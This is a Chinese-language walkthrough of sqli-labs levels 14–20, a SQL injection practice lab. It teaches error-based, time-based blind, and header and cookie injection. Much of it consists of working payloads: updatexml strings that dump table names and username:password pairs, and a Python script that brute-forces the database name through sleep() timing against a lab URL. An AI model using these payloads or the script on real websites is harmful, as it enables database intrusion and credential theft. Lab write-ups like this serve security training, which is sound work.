SQL注入基础学习4
14、第14关
-
测试注入点,查找闭合方式,闭合方式为
"
-
查找数据库
admin" and 1=updatexml(1,concat(0x7e,(select database())),3)# /*结果如下*/ XPATH syntax error: '~security'
-
查找数据库中的表
admin" and 1=updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)# /*结果如下*/ XPATH syntax error: '~emails,referers,uagents,users'
-
查找
users
表中的数据admin" and 1=updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')),3)# /*结果如下*/ XPATH syntax error: '~id,username,password'
-
查找字段
username
和password
admin" and 1=updatexml(1,concat(0x7e,(select substr(group_concat(username,':',password),1,30) from users )),3)#
有长度输出限制,因此我们可以利用substr函数来解决这个问题,可以利用
burpsuite
的爆破模块来获取,结果如下
15、第15关
这一关是post的盲注,可以利用sqlmap
来测试,或者自己写脚本,用request.post
提交表单信息就可以了
下面是一段获取数据库长度和库名的实列代码
import requests
import time
header = {
'Cookie': 'security_level=0; BEEFHOOK=edd3UMoFIeKB2j00LcxmECLXTbIo7LuW7EulDpQt287YZMa0M2cTEORVPG1cMRnkibKGTsXcauYPhVyx'
}
url = 'http://8.130.109.21:9999/Less-15/'
print("sqli-labs15")
sptime = int(input("请输入设置沉睡的时间:"))
# 获取数据库名字的长度
def get_databasename_length() -> int:
count = 0
for i in range(40):
files = {
'uname': "admin' and if(length(database())={},sleep({}),0)#".format(i, sptime),
'passwd': '',
'Submit': 'Submit'
}
start_time = time.time()
requests.post(url, data=files, headers=header)
end_time = time.time()
if end_time - start_time > sptime:
print("数据库的长度为:{}".format(i))
count = i
break
return count
# 获取数据库名字
def get_databasename(count):
print("数据库名字为:", end='')
for i in range(count + 1):
for j in range(33, 127):
files = {
'uname': "admin' and ascii(mid(database(),{},1))={} and sleep({})#".format(i, j, sptime),
'passwd': '',
'Submit': 'Submit'
}
start_time = time.time()
requests.post(url, data=files, headers=header)
end_time = time.time()
if end_time - start_time > sptime:
print(chr(j), end='')
break
# get_databasename_length()
get_databasename(get_databasename_length())
运行结果如下
修改代码的时候,只需要修改'uname'
的值即可
16、第16关
该关卡和第十五关的方法一样,只不过是闭合方式变成了")
17、第17关
在uname
怎么页面都显示错误,此时换一个注入点试试,换passwd
,发现有效果,开始报错注入
uname=admin&passwd=' and 1=updatexml(1,concat(0x7e,(select database())),3)#&Submit=Submit
uname=admin&passwd=' and 1=updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)#&Submit=Submit
uname=admin&passwd=' and 1=updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')),3)#&Submit=Submit
uname=admin&passwd=' and 1=updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')),3)#&Submit=Submit
uname=admin&passwd=' and 1=updatexml(1,concat(0x7e,(select group_concat(username,':',password) from user)),3)#&Submit=Submit /*当查询的时候,会发现出现下图的错误,百度一下,错误的解释是这样的,不能先select出同一表中的某些值,再update这个表(在同一语句中),解决的办法就是先将查询的结果令为一个新表,再从该表中查询*/
修改后的代码
uname=admin&passwd=' and 1=updatexml(1,concat(0x7e,(select substr(group_concat(username,password),1,30) from (select username,password from users)a)),3)#&Submit=Submit
结果如下
18、第18关
当页面看不到明显变化,找不到注入点,可以尝试报头注入
post注入时,万能密码无法绕过验证,用户名无法注入,可以通过查看源代码分析页面执行的动作
所以,该关卡采用的是User-agent
注入
-
页面的用户名和密码输入正确的时候,页面会显示出
uagent
的信息 -
进入后台查看页面的源码
是将三个字段的信息插入
uagents
表中,利用burpsuite
来完成后续的操作,将三个字段中的信息替换一下 -
查询数据库
' or updatexml(1,concat(0x7e,(select database())),3),2,3)#
结果如下:
-
查询表
' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3),2,3)#
结果如下:
-
后面的只需要替换查询语句就行给出最后的结果
' or updatexml(1,concat(0x7e,(select substr(group_concat(username,':',password),1,30) from users)),3),2,3)#
19、第19关
第19关跟第18关基本一样,查看页面源码
只需要换一个注入点referer
,替换两个要插入的数据就行
后面的可以自己动手尝试一下
20、第20关
这一关卡是cookie
注入关,输入正确的用户名和密码会跳转到下面页面
尝试在cookie
出进行注入,利用select+union来注入
-
测试列数
-
测试回显位
-
后面就替换查询语句